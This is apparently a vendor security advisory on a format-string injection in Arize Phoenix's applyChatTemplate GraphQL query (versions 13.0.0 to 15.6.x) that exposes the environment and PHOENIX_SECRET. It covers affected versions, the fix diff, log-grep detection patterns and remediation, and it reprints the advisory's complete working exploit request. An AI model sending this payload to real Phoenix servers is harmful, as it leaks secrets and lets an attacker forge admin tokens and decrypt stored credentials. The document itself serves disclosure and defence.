A format-string flaw in Arize Phoenix 13.0.0 to 15.6.x exposes PHOENIX_SECRET and stored AI credentials; fixed in 15.7.0.
TL;DR #
- A format-string injection in Phoenix's
applyChatTemplateGraphQL query lets an attacker reados.environ, includingPHOENIX_SECRET. GitHub rated it CVSS v3.1 10.0 Critical and published a working payload on 2026-11-17. - Affects
arize-phoenix13.0.0 to 15.6.x. The fix is in 15.7.0, released on 2026-05-13. - No exploitation in the wild is known. CISA ADP records Exploitation: none, and the CVE is not in KEV as of 2026-11-18.
- Upgrade to 15.7.0 or later, rotate
PHOENIX_SECRETand every credential stored in Phoenix, and restrict network access to the API.
Am I affected? #
All of these must hold:
arize-phoenix13.0.0 or later, but earlier than 15.7.0, is running.- The GraphQL API is reachable by the attacker. On default installations, authentication is disabled.
The F_STRING format is selected inside the request payload itself; no server-side setting gates the flaw.
The CVE record was published on 2026-11-16 and the GitHub advisory on 2026-11-17. The fix commit is from 2026-05-13, so an installation that has been kept current since May is not exposed. The latest release on PyPI is 21.0.0.
The package had 135,422 downloads in the week to 2026-11-18 and 616,502 in the previous month, according to pypistats. The project has 12,341 GitHub stars. Those figures describe the project, not the number of exposed deployments.
Phoenix ships as a Python package and as a container image, and both run the same GraphQL server. The version check covers either form. A managed deployment depends on the provider's patch schedule, so ask the provider which Phoenix version it runs and when it will carry 15.7.0.
| Branch | Affected versions | Fixed version |
|---|---|---|
| 13.x to 15.6.x | 13.0.0 to 15.6.x | 15.7.0 |
| 15.7.0 and later | None | Already fixed |
Check what is installed:
python -m pip show arize-phoenix
docker exec <container> python -m pip show arize-phoenix
docker run --rm <image> python -m pip show arize-phoenix
How do I fix it? #
Upgrade to 15.7.0 or later, then rotate the secrets that the old process could read. The fix is in the formatter, so a reverse proxy alone does not remove the flaw.
- Upgrade the package and restart the server:
python -m pip install --upgrade 'arize-phoenix>=15.7.0'
Rebuild and recreate every container that runs Phoenix. Pulling a new image does not change a container that was created from the old one.
2.
Rotate PHOENIX_SECRET . Phoenix uses it to sign JWTs and to derive the Fernet key that encrypts stored credentials. Changing it invalidates existing session tokens and makes credentials encrypted with the old key unreadable; plan to replace those stored credentials.
3.
Rotate the LLM API keys, OAuth tokens, and database credentials that Phoenix stored or could read. Re-encrypt the stored credentials after the new secret is in place.
4.
If you cannot upgrade yet, put the GraphQL API behind an authenticating proxy and remove network access from untrusted clients. That reduces exposure, but an authenticated user can still send the payload, so it is not a fix.
5.
If a managed provider runs Phoenix for you, ask it to confirm the deployed version and the date it will reach 15.7.0. You cannot patch a hosted instance from your side, so the confirmation is the only control you have.
What is the root cause? #
The f-string formatter passes an attacker-controlled template to Python's str.format, and the wrapper that was meant to block private attribute access does not run for dunder attributes. The traversal therefore reaches the namespace class's globals and reads os.environ.
The vulnerable method is FStringTemplateFormatter._format in src/phoenix/utilities/template_formatters.py:
def _format(self, template: str, variable_names: Iterable[str], **variables: Any) -> str:
wrapped_variables = {key: _wrap_value(value) for key, value in variables.items()}
return template.format(**wrapped_variables)
_wrap_value turns a dictionary into DotDict, and DotDict extends argparse.Namespace. Its __getattr__ blocks names that start with an underscore:
def __getattr__(self, name: str) -> Any:
if name.startswith("_"):
raise AttributeError(name)
raise AttributeError(f"No attribute '{name}'")
That guard is ineffective for __class__. Python resolves __class__ through normal attribute lookup on the object's type before it calls __getattr__, so the method never sees the name. From __class__, the template walks to __bases__[0], which is argparse.Namespace, then to Namespace.__init__.__globals__. The argparse module imports os as _os, so __globals__['_os'].environ returns the process environment.
The applyChatTemplate resolver accepts a PromptChatTemplateInput and a PromptTemplateOptions value. The options choose the formatter and supply the variables. Nothing in the resolver restricts the template syntax or the attribute path.
The endpoint is not a debug-only surface. Phoenix uses the same formatter when a user previews a prompt in the UI or calls the API to render a prompt with variables. A deployment that lets users edit prompt templates therefore exposes the path to every user who can reach that feature, not only to an administrator.
How is it exploited? #
The attacker sends one GraphQL request to the applyChatTemplate query with a template that walks from a supplied variable to the formatter's globals.
- The attacker reaches the GraphQL endpoint. On a default installation, no credentials are needed.
- The request supplies a template message whose text is
{u.__class__.__bases__[0].__init__.__globals__[_os].environ}and a variableuwith any dictionary value. - The resolver selects
FStringTemplateFormatterbecause the options setformattoF_STRING. _formatwrapsuinDotDictand callstemplate.format. Python resolves the attribute chain and returns the environment as text in the response.- The attacker reads
PHOENIX_SECRETfrom that text, then forges an admin session token or derives the Fernet key that protects stored credentials.
The advisory publishes this payload:
{
"query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
"variables": {
"t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
"o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
}
}
The response returns the environment as one text part. The attacker does not need to know the template syntax in advance: the advisory's payload is a normal GraphQL document, and the only unusual part is the attribute chain. A filter that blocks the exact strings __class__ or __globals__ would catch this payload, but a different traversal would evade a fixed string match.
How does the attack flow? #
One unauthenticated GraphQL request walks from a template variable to the server's environment and returns the secret that protects every stored credential.
on the attacker template"] C --> D["DotDict guard misses class"] D --> E["Namespace globals expose _os.environ"] E --> F["Response contains PHOENIX_SECRET"] F --> G["Attacker forges admin JWT
and decrypts stored credentials"]
What can an attacker do? #
The attacker can read the process environment and use the values in it to take over the Phoenix installation and the credentials it protects.
PHOENIX_SECRETlets the attacker sign a JWT for an administrator and derive the Fernet key used for stored credentials.- LLM API keys, OAuth tokens, and other provider credentials stored in Phoenix can be decrypted and used at the victim's expense.
- Filesystem paths, loaded module names, and internal constants help the attacker plan a second step.
The advisory does not demonstrate code execution. The impact it documents is disclosure of the environment and the secrets in it, followed by token forgery and decryption with the leaked key.
PHOENIX_SECRET is the master key for two operations. Phoenix signs session JWTs with it, so a leaked value lets the attacker mint a token for any user, including an administrator. Phoenix also derives the Fernet key that encrypts stored credentials from it, so the same value decrypts the LLM API keys and OAuth tokens in the database. Rotating one without the other leaves a window in which an old token or an old ciphertext still works.
The conditions are the same as in "Am I affected?": a vulnerable version, a reachable GraphQL API, and the F_STRING format. An installation with authentication enabled still exposes the data to any authenticated account, regardless of its privileges.
Reading the environment is the first step, not the end. The attacker still has to use the secret to sign a token or decrypt a stored value. Both operations are local to the attacker once the secret is known, and neither leaves a request in the Phoenix log.
Why does the fix work? #
The fix replaces str.format with a Formatter subclass that rejects any attribute whose name starts with an underscore. That breaks the __class__ step, so the template cannot reach __globals__ or os.environ.
@@ -235,6 +235,39 @@ def _format(self, template: str, *args: Any, **variables: Any) -> str:
return template
+_FIELD_NAME_PART_RE = re.compile(r"\.([^.\[\]]+)|\[([^\[\]]+)\]")
+
+
+class _SafeFieldFormatter(Formatter):
+ """
+ A :class:`string.Formatter` that forbids access to "private" attributes.
+
+ Python's ``str.format`` resolves ``{x.attr}`` and ``{x[key]}`` expressions.
+ Without restrictions, a malicious template can walk from a user-supplied
+ value to ``__class__`` / ``__globals__`` / ``__builtins__`` and read process
+ state (environment variables, secrets, etc.). This subclass blocks any
+ attribute access whose name starts with an underscore, which is sufficient
+ to break the traversal chain while preserving normal usage like
+ ``{user.name}`` and ``{items[0].value}``.
+ """
+
+ def get_field(self, field_name: str, args: Any, kwargs: Any) -> Any:
+ first = re.match(r"^[^.\[\]]*", field_name).group(0) # type: ignore[union-attr]
+ rest = field_name[len(first) :]
+ key: Any = int(first) if first.isdigit() else first
+ obj = self.get_value(key, args, kwargs)
+ for attr, index in _FIELD_NAME_PART_RE.findall(rest):
+ if attr:
+ if attr.startswith("_"):
+ raise TemplateFormatterError(
+ f"Access to attribute '{attr}' is not permitted in templates"
+ )
+ obj = getattr(obj, attr)
+ else:
+ obj = obj[int(index) if index.lstrip("-").isdigit() else index]
+ return obj, first
+
+
class FStringTemplateFormatter(TemplateFormatter):
@@ -266,10 +299,14 @@ class FStringTemplateFormatter(TemplateFormatter):
def parse(self, template: str) -> set[str]:
return set(field_name for _, field_name, _, _ in Formatter().parse(template) if field_name)
+ # Shared formatter that blocks traversal into "private"/dunder attributes,
+ # preventing format-string injection (e.g. {x.__class__.__init__.__globals__}).
+ _formatter = _SafeFieldFormatter()
+
def _format(self, template: str, variable_names: Iterable[str], **variables: Any) -> str:
wrapped_variables = {key: _wrap_value(value) for key, value in variables.items()}
- return template.format(**wrapped_variables)
+ return self._formatter.vformat(template, (), wrapped_variables)
The change blocks the attribute-walk vector for both dot and bracket access. It does not add authentication to the resolver. The advisory recommended that as a separate mitigation, so a default installation still exposes the endpoint to anyone who can reach it. Network placement and authentication remain part of the exposure.
How do I check if I was compromised? #
There are no published indicators of compromise. The request is a normal GraphQL POST, and a successful read returns the environment inside a normal response. A default access log records only the request line, so the POST body is the main trace when the proxy or a WAF keeps it.
grep -i "applyChatTemplate" /var/log/nginx/access.log /var/log/apache2/access.log 2>/dev/null
grep -i "__class__\|__globals__\|__bases__\|environ" /var/log/nginx/access.log /var/log/apache2/access.log 2>/dev/null
grep -i "applyChatTemplate\|__class__\|__globals__\|__bases__\|environ" /var/log/phoenix/*.log 2>/dev/null
A hit on applyChatTemplate is a lead, not proof: the endpoint is also used by legitimate prompt tooling. A hit that also contains __class__, __globals__, or environ is much stronger. If you find one, rotate PHOENIX_SECRET and every stored provider credential, then review administrator sessions created after the request.
Timeline #
- 2026-02-13:
arize-phoenix13.0.0 is published with the vulnerable formatter. - 2026-05-13: commit
e7224a68adds the safe formatter, and 15.7.0 is released. - 2026-11-16: the CVE record for CVE-2026-53998 is published.
- 2026-11-17: the GitHub Advisory Database publishes GHSA-gfv3-m769-5xm3 with a working payload.
- 2026-11-18: CISA ADP records Exploitation: none; the CVE is not in KEV.
FAQ #
Can it be exploited without authentication?
Yes, on a default installation where authentication is disabled. If authentication is enabled, any account can send the request, regardless of its role.
Does it need user interaction?
No. The attacker sends one GraphQL request and reads the response. No victim has to open a link or approve anything.
Is there a public proof of concept?
Yes. The GitHub advisory includes a complete request payload that returns the environment. The advisory credits OmarXtream as the reporter.
Is 15.7.0 the only fixed release?
No. 15.7.0 is the first release with the safe formatter, and the latest release is 21.0.0. Any release from 15.7.0 onward carries the fix.
Does the fix add authentication?
No. The fix blocks the attribute traversal in the formatter. The resolver still has no authentication requirement, so a default installation remains reachable by anyone who can reach the API.
Was it exploited in the wild?
No exploitation is known. CISA ADP records Exploitation: none, and the CVE is not in KEV as of 2026-11-18.
Is the endpoint supposed to be public?
On a default installation, Phoenix disables authentication so that a local or trusted-network user can open the UI. That default is why the advisory calls the flaw unauthenticated. A production deployment that exposes the API beyond a trusted network should put authentication in front of it, even after the upgrade.
Does a managed Phoenix service use the same code?
A managed service runs the same server code, but the provider controls the version and the network exposure. Ask the provider for the deployed version and the fix date. Your own package upgrade does not change a hosted instance.
Find exposed Phoenix APIs with Ostorlab #
Ostorlab's Web Agentic Deep Scan inventories and tests the web applications and APIs you expose. For a Phoenix deployment, it maps the reachable GraphQL surface and the authentication settings in front of it, so you can see which installations accept unauthenticated queries before you upgrade.
References #
- GitHub Advisory Database, GHSA-gfv3-m769-5xm3, "Phoenix: Format String Injection in applyChatTemplate": https://github.com/advisories/GHSA-gfv3-m769-5xm3 (checked November 18, 2026)
- CVE record, CVE-2026-53998: https://www.cve.org/CVERecord?id=CVE-2026-53998 (checked November 18, 2026)
- Arize Phoenix fix commit
e7224a68, "fix: prevent format-string injection in f-string template formatter": https://github.com/Arize-ai/phoenix/commit/e7224a685589f2ffae1fefcc68ff210bd6ad28b8 (checked November 18, 2026) - Arize Phoenix release 15.7.0: https://github.com/Arize-ai/phoenix/releases/tag/arize-phoenix-v15.7.0 (checked November 18, 2026)
- Arize Phoenix source at 15.6.0,
template_formatters.py: https://github.com/Arize-ai/phoenix/blob/arize-phoenix-v15.6.0/src/phoenix/utilities/template_formatters.py (checked November 18, 2026) - Arize Phoenix source at 15.6.0,
queries.py: https://github.com/Arize-ai/phoenix/blob/arize-phoenix-v15.6.0/src/phoenix/server/api/queries.py (checked November 18, 2026) - PyPI project page for
arize-phoenix: https://pypi.org/project/arize-phoenix/ (checked November 18, 2026) - pypistats,
arize-phoenixdownload statistics: https://pypistats.org/packages/arize-phoenix (checked November 18, 2026) - CISA Known Exploited Vulnerabilities catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (checked November 18, 2026)